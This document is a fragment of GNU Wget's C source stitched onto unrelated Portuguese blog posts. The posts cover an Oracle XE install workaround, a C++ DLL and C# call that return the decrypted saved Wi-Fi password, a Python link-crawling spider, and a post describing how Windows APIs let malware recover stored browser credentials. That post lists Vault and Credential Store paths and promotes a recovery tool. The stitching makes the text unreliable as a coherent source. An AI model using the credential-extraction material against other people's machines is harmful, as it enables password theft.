  -S,  --server-response        print server response.\n\
       --spider                 don\'t download anything.\n\
  -T,  --timeout=SECONDS        set the read timeout to SECONDS.\n\
  -w,  --wait=SECONDS           wait SECONDS between retrievals.\n\
  -Y,  --proxy=on/off           turn proxy on or off.\n\
  -Q,  --quota=NUMBER           set retrieval quota to NUMBER.\n\
\n"),  _("\
Directories:\n\
  -nd  --no-directories            don\'t create directories.\n\
  -x,  --force-directories         force creation of directories.\n\
  -nH, --no-host-directories       don\'t create host directories.\n\
  -P,  --directory-prefix=PREFIX   save files to PREFIX/...\n\
       --cut-dirs=NUMBER           ignore NUMBER remote directory components.\n\
\n"), _("\
HTTP options:\n\
       --http-user=USER      set http user to USER.\n\
       --http-passwd=PASS    set http password to PASS.\n\
  -C,  --cache=on/off        (dis)allow server-cached data (normally allowed).\n\
       --ignore-length       ignore `Content-Length\' header field.\n\
       --header=STRING       insert STRING among the headers.\n\
       --proxy-user=USER     set USER as proxy username.\n\
       --proxy-passwd=PASS   set PASS as proxy password.\n\
  -s,  --save-headers        save the HTTP headers to file.\n\
  -U,  --user-agent=AGENT    identify as AGENT instead of Wget/VERSION.\n\
\n"), _("\
FTP options:\n\
       --retr-symlinks   retrieve FTP symbolic links.\n\
  -g,  --glob=on/off     turn file name globbing on or off.\n\
       --passive-ftp     use the \"passive\" transfer mode.\n\
\n"), _("\
Recursive retrieval:\n\
  -r,  --recursive             recursive web-suck -- use with care!.\n\
  -l,  --level=NUMBER          maximum recursion depth (0 to unlimit).\n\
       --delete-after          delete downloaded files.\n\
  -k,  --convert-links         convert non-relative links to relative.\n\
  -m,  --mirror                turn on options suitable for mirroring.\n\
  -nr, --dont-remove-listing   don\'t remove `.listing\' files.\n\
\n"), _("\
Recursive accept/reject:\n\
  -A,  --accept=LIST                list of accepted extensions.\n\
  -R,  --reject=LIST                list of rejected extensions.\n\
  -D,  --domains=LIST               list of accepted domains.\n\
       --exclude-domains=LIST       comma-separated list of rejected domains.\n\
  -L,  --relative                   follow relative links only.\n\
       --follow-ftp                 follow FTP links from HTML documents.\n\
  -H,  --span-hosts                 go to foreign hosts when recursive.\n\
  -I,  --include-directories=LIST   list of allowed directories.\n\
  -X,  --exclude-directories=LIST   list of excluded directories.\n\
  -nh, --no-host-lookup             don\'t DNS-lookup hosts.\n\
  -np, --no-parent                  don\'t ascend to the parent directory.\n\
\n"), _("Mail bug reports and suggestions to <bug-wget@gnu.org>.\n"));
}

int
main (int argc, char *const *argv)
{
  char **url, **t;
  int i, c, nurl, status, append_to_log;

  static struct option long_options[] =
  {
    { "background", no_argument, NULL, 'b' },
    { "continue", no_argument, NULL, 'c' },
    { "convert-links", no_argument, NULL, 'k' },
    { "debug", no_argument, NULL, 'd' },
    { "dont-remove-listing", no_argument, NULL, 21 },
    { "email-address", no_argument, NULL, 'E' }, /* undocumented (debug) */
    { "follow-ftp", no_argument, NULL, 14 },
    { "force-directories", no_argument, NULL, 'x' },
    { "force-hier", no_argument, NULL, 'x' }, /* obsolete */
    { "force-html", no_argument, NULL, 'F'},
    { "help", no_argument, NULL, 'h' },
    { "ignore-length", no_argument, NULL, 10 },
    { "mirror", no_argument, NULL, 'm' },
    { "no-clobber", no_argument, NULL, 13 },
    { "no-directories", no_argument, NULL, 19 },
    { "no-host-directories", no_argument, NULL, 20 },
    { "no-host-lookup", no_argument, NULL, 22 },
    { "no-parent", no_argument, NULL, 5 },
    { "non-verbose", no_argument, NULL, 18 },
    { "passive-ftp", no_argument, NULL, 11 },
    { "quiet", no_argument, NULL, 'q' },
    { "recursive", no_argument, NULL, 'r' },
    { "relative", no_argument, NULL, 'L' },
    { "retr-symlinks", no_argument, NULL, 9 },
    { "save-headers", no_argument, NULL, 's' },
    { "server-response", no_argument, NULL, 'S' },
    { "span-hosts", no_argument, NULL, 'H' },
    { "spider", no_argument, NULL, 4 },
    { "timestamping", no_argument, NULL, 'N' },
    { "verbose", no_argument, NULL, 'v' },
    { "version", no_argument, NULL, 'V' },

    { "accept", required_argument, NULL, 'A' },
    { "append-output", required_argument, NULL, 'a' },
    { "backups", required_argument, NULL, 23 }, /* undocumented */
    { "base", required_argument, NULL, 'B' },
    { "cache", required_argument, NULL, 'C' },
    { "cut-dirs", required_argument, NULL, 17 },
    { "delete-after", no_argument, NULL, 8 },
    { "directory-prefix", required_argument, NULL, 'P' },
    { "domains", required_argument, NULL, 'D' },
    { "dot-style", required_argument, NULL, 6 },
    { "execute", required_argument, NULL, 'e' },
    { "exclude-directories", required_argument, NULL, 'X' },
    { "exclude-domains", required_argument, NULL, 12 },
    { "glob", required_argument, NULL, 'g' },
    { "header", required_argument, NULL, 3 },
    { "htmlify", required_argument, NULL, 7 },
    { "http-passwd", required_argument, NULL, 2 },
    { "http-user", required_argument, NULL, 1 },
    { "include-directories", required_argument, NULL, 'I' },
    { "input-file", required_argument, NULL, 'i' },
    { "level", required_argument, NULL, 'l' },
    { "no", required_argument, NULL, 'n' },
    { "output-document", required_argument, NULL, 'O' },
    { "output-file", required_argument, NULL, 'o' },
    { "proxy", required_argument, NULL, 'Y' },
    { "proxy-passwd", required_argument, NULL, 16 },
    { "proxy-user", required_argument, NULL, 15 },
    { "quota", required_argument, NULL, 'Q' },
    { "reject", required_argument, NULL, 'R' },
    { "timeout", required_argument, NULL, 'T' },
    { "tries", required_argument, NULL, 't' },
    { "user-agent", required_argument, NULL, 'U' },
    { "use-proxy", required_argument, NULL, 'Y' },
    { "wait", required_argument, NULL, 'w' },
    { 0, 0, 0, 0 }
  };

  i18n_initialize ();

  append_to_log = 0;

  /* Construct the name of the executable, without the directory part.  */
  exec_name = strrchr (argv[0], PATH_SEPARATOR);
  if (!exec_name)
    exec_name = argv[0];
  else
    ++exec_name;

#ifdef WINDOWS
  windows_main_junk (&argc, (char **) argv, (char **) &exec_name);
#endif

  initialize ();

  while ((c = getopt_long (argc, argv, "\
hVqvdksxmNWrHSLcFbEY:g:T:U:O:l:n:i:o:a:t:D:A:R:P:B:e:Q:X:I:w:",
			   long_options, (int *)0)) != EOF)
    {
      switch (c)
	{
	  /* Options without arguments: */
	case 4:
	  setval ("spider", "on");
	  break;
	case 5:
	  setval ("noparent", "on");
	  break;
	case 8:
	  setval ("deleteafter", "on");
	  break;
	case 9:
	  setval ("retrsymlinks", "on");
	  break;
	case 10:
	  setval ("ignorelength", "on");
	  break;
	case 11:
	  setval ("passiveftp", "on");
	  break;
	case 13:
	  setval ("noclobber", "on");
	  break;
	case 14:
	  setval ("followftp", "on");
	  break;
	case 17:
	  setval ("cutdirs", optarg);
	  break;
	case 18:
	  setval ("verbose", "off");
	  break;
	case 19:
	  setval ("dirstruct", "off");
	  break;
	case 20:
	  setval ("addhostdir", "off");
	  break;
	case 21:
	  setval ("removelisting", "off");
	  break;
	case 22:
	  setval ("simplehostcheck", "on");
	  break;
	case 'b':
	  setval ("background", "on");
	  break;
	case 'c':
	  setval ("continue", "on");
	  break;
	case 'd':
#ifdef DEBUG
	  setval ("debug", "on");
#else  /* not DEBUG */
	  fprintf (stderr, _("%s: debug support not compiled in.\n"),
		   exec_name);
#endif /* not DEBUG */
	  break;
	case 'E':
	  /* For debugging purposes.  */
	  printf ("%s\n", ftp_getaddress ());
	  exit (0);
	  break;
	case 'F':
	  setval ("forcehtml", "on");
	  break;
	case 'H':
	  setval ("spanhosts", "on");
	  break;
	case 'h':
	  print_help ();
#ifdef WINDOWS
	  ws_help (exec_name);
#endif
	  exit (0);
	  break;
	case 'k':
	  setval ("convertlinks", "on");
	  break;
	case 'L':
	  setval ("relativeonly", "on");
	  break;
	case 'm':
	  setval ("mirror", "on");
	  break;
	case 'N':
	  setval ("timestamping", "on");
	  break;
	case 'S':
	  setval ("serverresponse", "on");
	  break;
	case 's':
	  setval ("saveheaders", "on");
	  break;
	case 'q':
	  setval ("quiet", "on");
	  break;
	case 'r':
	  setval ("recursive", "on");
	  break;
	case 'V':
	  printf ("GNU Wget %s\n\n", version_string);
	  printf ("%s", _("\
Copyright (C) 1995, 1996, 1997, 1998 Free Software Foundation, Inc.\n\
This program is distributed in the hope that it will be useful,\n\
but WITHOUT ANY WARRANTY; without even the implied warranty of\n\
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\
GNU General Public License for more details.\n"));
	  printf (_("\nWritten by Hrvoje Niksic <hniksic@srce.hr>.\n"));
	  exit (0);
	  break;
	case 'v':
	  setval ("verbose", "on");
	  break;
	case 'x':
	  setval ("dirstruct", "on");
	  break;

	  /* Options accepting an argument: */
	case 1:
	  setval ("httpuser", optarg);
	  break;
	case 2:
	  setval ("httppasswd", optarg);
	  break;
	case 3:
	  setval ("header", optarg);
	  break;
	case 6:
	  setval ("dotstyle", optarg);
	  break;
	case 7:
	  setval ("htmlify", optarg);
	  break;
	case 12:
	  setval ("excludedomains", optarg);
	  break;
	case 15:
	  setval ("proxyuser", optarg);
	  break;
	case 16:
	  setval ("proxypasswd", optarg);
	  break;
	case 23:
	  setval ("backups", optarg);
	  break;
	case 'A':
	  setval ("accept", optarg);
	  break;
	case 'a':
	  setval ("logfile", optarg);
	  append_to_log = 1;
	  break;
	case 'B':
	  setval ("base", optarg);
	  break;
	case 'C':
	  setval ("cache", optarg);
	  break;
	case 'D':
	  setval ("domains", optarg);
	  break;
	case 'e':
	  {
	    char *com, *val;
	    if (parse_line (optarg, &com, &val))
	      {
		if (!setval (com, val))
		  exit (1);
	      }
	    else
	      {
		fprintf (stderr, _("%s: %s: invalid command\n"), exec_name,
			 optarg);
		exit (1);
	      }
	    free (com);
	    free (val);
	  }
	  break;
	case 'g':
	  setval ("glob", optarg);
	  break;
	case 'I':
	  setval ("includedirectories", optarg);
	  break;
	case 'i':
	  setval ("input", optarg);
	  break;
	case 'l':
	  setval ("reclevel", optarg);
	  break;
	case 'n':
	  {
	    /* #### The n? options are utter crock!  */
	    char *p;

	    for (p = optarg; *p; p++)
	      switch (*p)
		{
		case 'v':
		  setval ("verbose", "off");
		  break;
		case 'h':
		  setval ("simplehostcheck", "on");
		  break;
		case 'H':
		  setval ("addhostdir", "off");
		  break;
		case 'd':
		  setval ("dirstruct", "off");
		  break;
		case 'c':
		  setval ("noclobber", "on");
		  break;
		case 'r':
		  setval ("removelisting", "off");
		  break;
		case 'p':
		  setval ("noparent", "on");
		  break;
		default:
		  printf (_("%s: illegal option -- `-n%c'\n"), exec_name, *p);
		  print_usage ();
		  printf ("\n");
		  printf (_("Try `%s --help\' for more options.\n"), exec_name);
		  exit (1);
		}
	    break;
	  }
	case 'O':
	  setval ("outputdocument", optarg);
	  break;
	case 'o':
	  setval ("logfile", optarg);
	  break;
	case 'P':
	  setval ("dirprefix", optarg);
	  break;
	case 'Q':
	  setval ("quota", optarg);
	  break;
	case 'R':
	  setval ("reject", optarg);
	  break;
	case 'T':
	  setval ("timeout", optarg);
	  break;
	case 't':
	  setval ("tries", optarg);
	  break;
	case 'U':
	  setval ("useragent", optarg);
	  break;
	case 'w':
	  setval ("wait", optarg);
	  break;
	case 'X':
	  setval ("excludedirectories", optarg);
	  break;
	case 'Y':
	  setval ("useproxy", optarg);
	  break;

	case '?':
	  print_usage ();
	  printf ("\n");
	  printf (_("Try `%s --help' for more options.\n"), exec_name);
	  exit (0);
	  break;
	}
    }
  if (opt.verbose == -1)
    opt.verbose = !opt.quiet;

  /* Sanity checks.  */
  if (opt.verbose && opt.quiet)
    {
      printf (_("Can't be verbose and quiet at the same time.\n"));
      print_usage ();
      exit (1);
    }
  if (opt.timestamping && opt.noclobber)
    {
      printf (_("\
Can't timestamp and not clobber old files at the same time.\n"));
      print_usage ();
      exit (1);
    }
  nurl = argc - optind;
  if (!nurl && !opt.input_filename)
    {
      /* No URL specified.  */
      printf (_("%s: missing URL\n"), exec_name);
      print_usage ();
      printf ("\n");
      /* #### Something nicer should be printed here -- similar to the
	 pre-1.5 `--help' page.  */
      printf (_("Try `%s --help' for more options.\n"), exec_name);
      exit (1);
    }

  if (opt.background)
    fork_to_background ();

  /* Allocate basic pointer.  */
  url = ALLOCA_ARRAY (char *, nurl + 1);
  /* Fill in the arguments.  */
  for (i = 0; i < nurl; i++, optind++)
    {
      char *irix4_cc_needs_this;
      STRDUP_ALLOCA (irix4_cc_needs_this, argv[optind]);
      url[i] = irix4_cc_needs_this;
    }
  url[i] = NULL;

  /* Change the title of console window on Windows.  #### I think this
     statement should belong to retrieve_url().  --hniksic.  */
#ifdef WINDOWS
  ws_changetitle (*url, nurl);
#endif

  /* Initialize logging.  */
  log_init (opt.lfilename, append_to_log);

  DEBUGP (("DEBUG output created by Wget %s on %s.\n\n", version_string,
	   OS_TYPE));
  /* Open the output filename if necessary.  */
  if (opt.output_document)
    {
      if (HYPHENP (opt.output_document))
	opt.dfp = stdout;
      else
	{
	  opt.dfp = fopen (opt.output_document, "wb");
	  if (opt.dfp == NULL)
	    {
	      perror (opt.output_document);
	      exit (1);
	    }
	}
    }

#ifdef WINDOWS
  ws_startup ();
#endif

  /* Setup the signal handler to redirect output when hangup is
     received.  */
#ifdef HAVE_SIGNAL
  if (signal(SIGHUP, SIG_IGN) != SIG_IGN)
    signal(SIGHUP, redirect_output_signal);
  /* ...and do the same for SIGUSR1.  */
  signal (SIGUSR1, redirect_output_signal);
  /* Writing to a closed socket normally signals SIGPIPE, and the
     process exits.  What we want is to ignore SIGPIPE and just check
     for the return value of write().  */
  signal (SIGPIPE, SIG_IGN);
#endif /* HAVE_SIGNAL */

  status = RETROK;		/* initialize it, just-in-case */
  recursive_reset ();
  /* Retrieve the URLs from argument list.  */
  for (t = url; *t; t++)
    {
      char *filename, *new_file;
      int dt;

      status = retrieve_url (*t, &filename, &new_file, NULL, &dt);
      if (opt.recursive && status == RETROK && (dt & TEXTHTML))
	status = recursive_retrieve (filename, new_file ? new_file : *t);
      FREE_MAYBE (new_file);
      FREE_MAYBE (filename);
    }

  /* And then from the input file, if any.  */
  if (opt.input_filename)
    {
      int count;
      status = retrieve_from_file (opt.input_filename, opt.force_html, &count);
      if (!count)
	logprintf (LOG_NOTQUIET, _("No URLs found in %s.\n"),
		   opt.input_filename);
    }
  /* Print the downloaded sum.  */
  if (opt.recursive
      || nurl > 1
      || (opt.input_filename && opt.downloaded != 0))
    {
      logprintf (LOG_NOTQUIET,
		 _("\nFINISHED --%s--\nDownloaded: %s bytes in %d files\n"),
		 time_str (NULL), legible (opt.downloaded), opt.numurls);
      /* Print quota warning, if exceeded.  */
      if (opt.quota && opt.downloaded > opt.quota)
	logprintf (LOG_NOTQUIET,
		   _("Download quota (%s bytes) EXCEEDED!\n"),
		   legible (opt.quota));
    }
  if (opt.convert_links)
    {
      convert_all_links ();
    }
  log_close ();
  cleanup ();
  if (status == RETROK)
    return 0;
  else
    return 1;
}

/* Hangup signal handler.  When wget receives SIGHUP or SIGUSR1, it
   will proceed operation as usual, trying to write into a log file.
   If that is impossible, the output will be turned off.  */

#ifdef HAVE_SIGNAL
static RETSIGTYPE
redirect_output_signal (int sig)
{
  char tmp[100];
  signal (sig, redirect_output_signal);
  /* Please note that the double `%' in `%%s' is intentional, because
     redirect_output passes tmp through printf.  */
  sprintf (tmp, _("%s received, redirecting output to `%%s'.\n"),
	   (sig == SIGHUP ? "SIGHUP" :
	    (sig == SIGUSR1 ? "SIGUSR1" :
	     "WTF?!")));
  redirect_output (tmp);
}
#endif /* HAVE_SIGNAL */

A Oracle disponibiliza a versão de seu banco de dados Oracle Database Express x64 apenas para o sistema operacional Linux, para Windows é possível baixar apenas a versão para 32 bits mas segundo o site da Oracle está versão não funciona em sistemas operacionais de 64bits. Versões x64 do Windows não conseguem instanciar a aplicação para terminar a instalação, mas existe um Workaround para resolver este problema e instalar o Oracle Database XE Win32 em qualquer  sistema operacional Windows x64.

* A Oracle lançou uma versão do Oracle Database Express x64 para Windows no mês agosto de 2014, portanto o workaround deste tutorial não é mais necessário, utilize-o apenas como um walkthrough para a instalação do banco de dados, ignorando os passos 7,8,9 e 10.

Instalando Oracle Database Express XE Win32 no Windows 8 Pro x64

1 –  Primeiro você precisa ter uma conta gratuita na Oracle para poder baixar o Oracle Database XE, clique nos seguintes links:

Crie uma conta: http://www.oracle.com/

Oracle Database XE 11g – x64: Oracle Database Express XE – x64 – 11..2 g

Oracle Database - Download

Oracle Database – Download

2 – Após baixar o arquivo compactado, clique com o botão direito do mouse em propriedades e o desbloqueie, e extraia o conteúdo compactado em uma pasta e clique em setup.exe.

Setup

Setup

 

3 – Com a tela aberta clique em próximo:

Termos de licença

Termos de licença

4 – Aceite a licença e clique em avançar:

Instalação

Instalação

5 – Escolha o programa a ser instalado e clique em próximo:

Password

Password

6 – Escolha uma senha para as contas do sistema e clique em próximo:

Resumo

Resumo

7 – No resumo da instalação clique em instalar:

Erro da instalação x64

Erro da instalação x64

8IMPORTANTE – Não feche a Janela do erro – Na exibição do erro clique em CTRL + C, use as teclas Windows + R para abrir o comando executar e digite: Notepad e clique em Enter,  na janela clique em CTRL + V. Deste modo você consegue copiar o erro em um bloco de notas:

Erro da instalação - Notepad

Erro da instalação – Notepad

9 – Pressione a tecla Windows + R e digite regedt32, Navegue pelos registros: HKEY_CLASSES_ROOT -> Installer -> Products ->. Você obterá uma lista dos programas instalados navegue e ache o Oracle Database 11g Express Editon:

Instalação do Oracle

Instalação do Oracle

10 – Expanda e entre nas sub chaves e abra a pasta MEDIA, na opção de nome: 1 clique com o botão direito e escolha modificar:

Chave do registro

Chave do registro

11 – Copie o caminho mostrado no erro no qual colamos no Notepad, iniciando em : C:\ e terminando no caractere \ (barra invertida), assim como mostra a figura acima. Clique em OK feche o programa regedt32 e volte para o instalador do Oracle, clique em OK no erro para continuar a instalação.

 

Instalação concluida

Instalação concluída

12 – Após algum tempo a instalação será concluída, clique no botão concluir.

Administração Oracle

Administração Oracle

13 – Após o termino da instalação na área de trabalho clique no ícone: Conceitos Básicos do Oracle Database 11g Express Edition para abrir a pagina que administra o Oracle XE 11g.


 

Obs:

É recomendado usar este tipo de instalação apenas para estudo.

******** IMPORTANTE:

Se você obteve o seguinte erro ao iniciar o Oracle XE pelo ícone da área de trabalho e não possui nenhum outro servidor ouvindo na porta configurada:

URL:
http://127.0.0.1:%HTTPPORT%/apex/f?p=4950

Conteúdo:
O Windows não pode encontrar ‘http://127.0.0.1:%HTTPPORT%/apex/f?p=4950&#8217;. Certifique-se de que o nome foi digitado corretamente e tente novamente.

 

Causa:

 

O Oracle não foi configurado corretamente no Setup.
Solução:

 

Abra o seu navegador e digite:

 

Você será questionado por duas senhas, na primeira use o usuário SYSTEM e a senha padrão, na segunda use o usuário APEX e a senha padrão. Você obterá uma mensagem de usuário não autorizado. Recarregue o navegador e pronto.

 

Correção:

 

Verifique a variável de ambiente %HTTPPORT%/  e instale o SQL Developer para facilitar a administração do Oracle e veja se o usuário APEX foi configurado corretamente

 

Unmanaged Dll

É uma dll criada com código C/C++ nativo ou seja é desenvolvida com código não gerenciado e será compilada em linguagem de máquina para executar diretamente no hardware.

DA_WifiPerfilEx.dll

É uma dll desenvolvida em C++ escrita em código nativo (unmanaged), gerando uma interface com a API Wifi do Windows onde é possível manipular o perfil de rede sem fio, sem precisar utilizar todos os requisitos necessários para isto, tais como elevação de direitos, contexto de usuário local, cripotografia e etc.

A dll possui seis funções Export em português Brasil para fácil entendimento, para saber mais sobre o funcionamento do código que manipula a API Wifi leia nosso post sobre como capturar senhas de rede sem fio nesta mesma categoria.

static  DAWIFIPERFILEX_API std::wstring Perfil();
static  DAWIFIPERFILEX_API std::wstring Ssid();
static  DAWIFIPERFILEX_API std::wstring Tipo();
static  DAWIFIPERFILEX_API std::wstring Seguranca();
static  DAWIFIPERFILEX_API std::wstring Senha();
static  DAWIFIPERFILEX_API bool Conectado();

Código Aberto

Disponibilizamos esta dll em uma solução Open Source desenvolvida no Microsoft Visual Studio, escrita em C++   e dividida em dois projetos o primeiro, o DA_APP é um projeto C++ MFC visual de onde efetuamos a chamada da dll e testamos seus retornos, o segundo é o wawifiperilex.dll e que gera a dll que controla e retorna todo o gerenciamento da API Wifi .

Uso

A Dll pode ser usada por outras linguagens de programação para chamar funções diretamente da API Wifi do Windows sem precisar se preocupar todos os complexos detalhes de como manipular código em um nível mais baixo. Na imagem abaixo temos o resultado da compilação em C++, mas você pode usar esta dll de qualquer linguagem que suporte código unmanaged.

dawifiperfilex-dll

Exemplo:

Este código é usado para chamar a dll nativa de uma linguagem baseada no Windows Framework, onde não é permitido o uso por referencia de uma dll que não seja criada para código CLR. No exemplo abaixo é possível chamar a senha wireless descriptografada diretamente do C#.

Visual Studio

Por Exemplo, no visual Studio para poder compilar código unmanaged é necessário alterar as propriedades do projeto. Na janela de propriedades do projeto, na opção Debug, Enable Debug, clique em: Enable Native Code Debugging.

C#

[DllImport("dawifiperfiex.dll", EntryPoint = "#4",
            CallingConvention = CallingConvention.Cdecl,
            CharSet = CharSet.Unicode)]

        [return: MarshalAs(UnmanagedType.LPTStr)]
        public static extern string Senha ();

Download

Desenvolvimento Aberto Tools : http://desenvolvimentoabertotools.wordpress.com/

Web Spider – Captura Links de Website

Publicado: 23 de fevereiro de 2014 em Hacking

Um Spider simples coleta o conteúdo da Internet

Spider é um programa que visita sites e lê suas páginas e outras informações, a fim de criar entradas para um índice de motor de busca. Os principais motores de busca na Web, todos têm um programa desse tipo, o que também é conhecido como um “crawler” ou um “bot”. Os spiders são normalmente programados para visitar sites que tenham sido apresentados por seus proprietários como novos ou atualizados. Sites inteiros ou páginas específicas podem ser visitados e indexados de forma seletiva. Spiders são chamados de aranhas, porque eles costumam visitar muitos locais, em paralelo, ao mesmo tempo, as suas “pernas” que abrangem uma grande área do “web”. As aranhas podem rastejar através de páginas de um site de várias maneiras. Uma maneira é seguir todos os links de hipertexto em cada página até que todas as páginas foram lidas.

Pernas do Spider

O Web spider usa principalmente o HTTP para olhar e mover-se pela Internet. HTTP é um protocolo orientado à mensagem no qual um cliente se conecta a um servidor e emite pedidos. O servidor fornece uma resposta. Cada pedido e resposta é composto de cabeçalho e corpo, com o cabeçalho fornecendo informações de status e uma descrição do conteúdo do corpo.

Coleta de e-mail

Agora o lado ruim dos crawlers. Infelizmente, pessoas mal intencionadas podem efetuar estragos na Internet. Os crawlers de coleta de e-mail procuram por endereços de e-mail em Web sites que são então utilizados para gerar o spam em massa que vemos diariamente.

A coleta de e-mail pode ser uma das atividades de crawl mais fáceis.

Exemplo:

Requisitos: Package Termcolor – https://pypi.python.org/pypi/termcolor

Neste exemplo em Python executamos o script do nosso Spyder via terminal do linux, passando o nome do web site como parametro e logo nosso Spyder analisa todas as paginas do site e captura todos os links do site.

Este exemplo pode ser modificado para capturar varias outras informações do website.

Executar: python spyder.py http://nomedosite.com

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-

# Estes modulos fazem a maioria do trabalho.
import sys
import urllib2
import urlparse
import htmllib, formatter
from cStringIO import StringIO
from termcolor import colored

def log_stdout(msg):
     """imprime menssagem na tela"""
     print colored(msg,"cyan")

def get_page(url, log):
     """Retorna URL e seus conteudos, log erros."""
     try:
         page = urllib2.urlopen(url)
     except urllib2.URLError:
         log("Retornando Erros : " + url)
         return ''
     body = page.read()
     page.close()
     return body

def find_links(html):
     """Retorna uma lista de links html."""
     # Usa para validar  as urls e retornar as HREFs
     writer = formatter.DumbWriter(StringIO())
     f = formatter.AbstractFormatter(writer)
     parser = htmllib.HTMLParser(f)
     parser.feed(html)
     parser.close()
     return parser.anchorlist

class Spider:

    """
    O coração do programa, encontra todos os links em web site.
    run() contem o loop principal.
    process_page() retorna cada pagina e encontra os links.
    """

    def __init__(self, startURL, log=None):
         # Este metodo seta valores iniciais
         self.URLs = set()
         self.URLs.add(startURL)
         self.include = startURL
         self._links_to_process = [startURL]
         if log is None:
             # Use log_stdout se não providenciar log
             self.log = log_stdout
         else:
             self.log = log

    def run(self):
         # Processa lista de URLs de uma vez
         while self._links_to_process:
             url = self._links_to_process.pop()
             self.log("Retornando: " + url)
             self.process_page(url)

    def url_in_site(self, link):
         # Checa quando o link começa com uma base URL
         return link.startswith(self.include)

    def process_page(self, url):
         # Retorna a pagina e checa o link nela
         html = get_page(url, self.log)
         for link in find_links(html):
             # Manipula oslinks relativos
             link = urlparse.urljoin(url, link)
             self.log("Checking: " + link)
             # Obtendo certeza que este é um novo link
             if link not in self.URLs and self.url_in_site(link):
                 self.URLs.add(link)
                 self._links_to_process.append(link)

if __name__ == '__main__':
     # Este codigo roda quando o script é rodado na linha de comando
     startURL = sys.argv[1]
     spider = Spider(startURL)
     spider.run()
     for URL in sorted(spider.URLs):
         print colored(URL, "blue")

Window 8.1 (Modo Fácil)

Com o fracasso obvio do Windows 8 (não de vendas) a Microsoft foi obrigada as pressas a resolver alguns desentendimentos que a versão gerou entre seus usuários e sua nova interface chamada Metro, com um visual minimalista inspirado na comunicação visual de estações de metrô, muito se falou a respeito desta nova interface e muitos também reprovaram suas novas funcionalidades deixando um grande abismo de compatibilidade entre a nova interface Metro e a clássica interface do Windows agora chamada de Desktop.

Então lá vai a Microsoft em sua maior especialidade, resolver bugs que custam o controle total de nossos computadores Windows em todas suas versões, desta vez é obrigada a dar um “tapa” naquilo que sempre fez de melhor, a interface visual.

Nasce o Windows 8.1 renovado já com o famoso e unanime botão iniciar de volta (talvez mais aclamado do que um pop star) e uma união mais harmoniosa entre a interface Metro e a Desktop pode ser a única diferença que a maioria dos usuários puderam notar.

Mas o que pouco se comentou foi outro tipo de harmonia que a Microsoft gerou entre hackers e desenvolvedores mal intencionados, o que antes exigia conhecer profundamente C e C++, APIs, arquivos headers(.h) e dlls do sistema, agora pode ser feito diretamente de linguagens de alto nível como  C#, Visual Basic e outras.

Windows RUNTIME API

O Windows RUNTIME API (Windows API para Windows 8.1 Store Apps) disponibiliza todo o núcleo do Windows, basta usar os namespaces Windows e você acessa uma gama de APIs de um modo simples e fácil.

O que realmente mudou é que agora um grande numero de desenvolvedores podem se aproveitar da fragilidade de como as senhas são guardadas pelo Windows Vault e seu antecessor o Credential Store,  deixando assim vulnerável todas as senhas  de usuários dentro do contexto do computador local. Pode se agora criar um virus ou um Malware pessoal sem precisar usar receitas de bolo ou hacker tools para descobrir senha de sites como Facebook, Gmail, Hotmail ou qualquer outra senha guardada pelo browser do usuário.

Requisitos (Para utilizar o código disponibilizado Open Source):

Sistema Operacional Windows 8.1

Microsoft Visual Studio Professional (versão Express não suportada)

Referencias e Downloads:

Windows STORE API RUNTIME Reference: http://msdn.microsoft.com/en-us/library/windows/apps/br211377.aspx

Exemplos Cross-Plataform: http://msdn.microsoft.com/en-us/library/gg597391(v=vs.110).aspx

 O que Acontece?

No contexto do usuário ou seja na maquina local em que o usuário efetuou o Login é possível recuperar as senhas guardadas pelo Internet Explorer, seja de um programa em um pen drive ou por um aplicativo de console e utilizar as urls e senhas do modo que bem entender, enviar pela internet, exportar para um arquivo texto, html, xml e etc.

Windows RUNTIME API fornece acesso ao namespace Windows.Security.Credentials que fornece todas as funcionalidades que precisamos para enumerar as credenciais do usuário.

Windows.Security.Credentials: http://msdn.microsoft.com/en-us/library/windows/apps/windows.security.credentials.aspx

 

DA – Windows Vault/Network Password Recovery – V 1.0 – Betha

Modo Nativo (Avançado)

Nós disponibilizamos a ferramenta escrita por nós utilizando o modo tradicional para acessar as APIs por meio da linguagem de programação Visual C++, você pode utilizar a ferramenta gratuitamente e em breve o código será disponibilizado em um projeto OpenSource:

É uma pequena ferramenta de recuperação de senha que permite visualizar os nomes de usuário e senhas armazenadas pelo navegador Internet Explorer, recuperando os endereços e senhas armazenados pelo Windows Credential Store e pelo Windows Vault. Para cada entrada de senha, a seguinte informação é exibida: URL, Nome de Usuário, Campo de senha. Você pode selecionar um ou mais itens e, em seguida, salvá-los em arquivo de texto.

Download: DA – Internet Explorer – Vault/Network Password Recovery

Project (Google Code): http://code.google.com/p/da-ie-vault-credential/source/browse/

DA - Windows Vault/Network Password Recovery - V 1.0 - Betha

DA – Windows Vault/Network Password Recovery – V 1.0 – Betha

 

 Windows Credential Store e  Windows Vault

Internet Explorer 7

O Windows fornece o Credencial Store que é uma estrutura para armazenar senhas de rede em um formato seguro e criptografado. Isso proporciona mecanismo conveniente e confiável de armazenar as senhas para logins de rede para que o usuário não tenha que digitar a senha toda vez que acessar os recursos da rede.

Não só o Windows usa para armazenar senhas de autenticação de rede, mas também outras aplicações como o Outlook, Windows Live, Remote Destktop, GMail Notifier e etc.

O Windows também permite que os aplicativos gerenciem perfeitamente o Credencial Store usando funções da API de gerenciamento de credenciais, as credenciais são armazenadas localmente no contexto do usuário no seguinte diretório:

Local:

  • C:\Users\User\AppData\Local\Microsoft\Credentials
  • C:\Users\User\AppData\Roaming\Microsoft\Credentials

Internet Explorer 10

O IE10 mudou a maneira de como  armazenar senhas. Agora, todas as senhas de preenchimento automático são armazenados no Gerenciador de Credenciais em um local chamado de “Credenciais da Web”. Parece algo como o seguinte:

credenciais

Windows Vault

Por incrível que pareça, o Windows Vault foi introduzido pela primeira vez ao público com o lançamento do Windows 7, mas ainda não há informações devido  sua descrição na rede. A documentação sobre este assunto,  interessantemente é completamente ausente, ou, para dizer o mínimo, é superficial. Então, o que é Vault?

Assim, o Windows Vault é um estrutura de armazenamento de dados privados que veio para substituir o Gerenciador de Credenciais. A Microsoft em mais uma tentativa de criar um armazenamento universal de segredos que o Windows parece ter tanta falta.

Existem dois tipos de localização Vault:

Usuário:

  • C:\Users\Usuario01\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

Sistema:

  • С:/Windows/System32/config/systemprofile/AppData/Roaming/Microsoft/Vault/…
  • С:/Windows/System32/config/systemprofile/AppData/Local/Microsoft/Vault/…
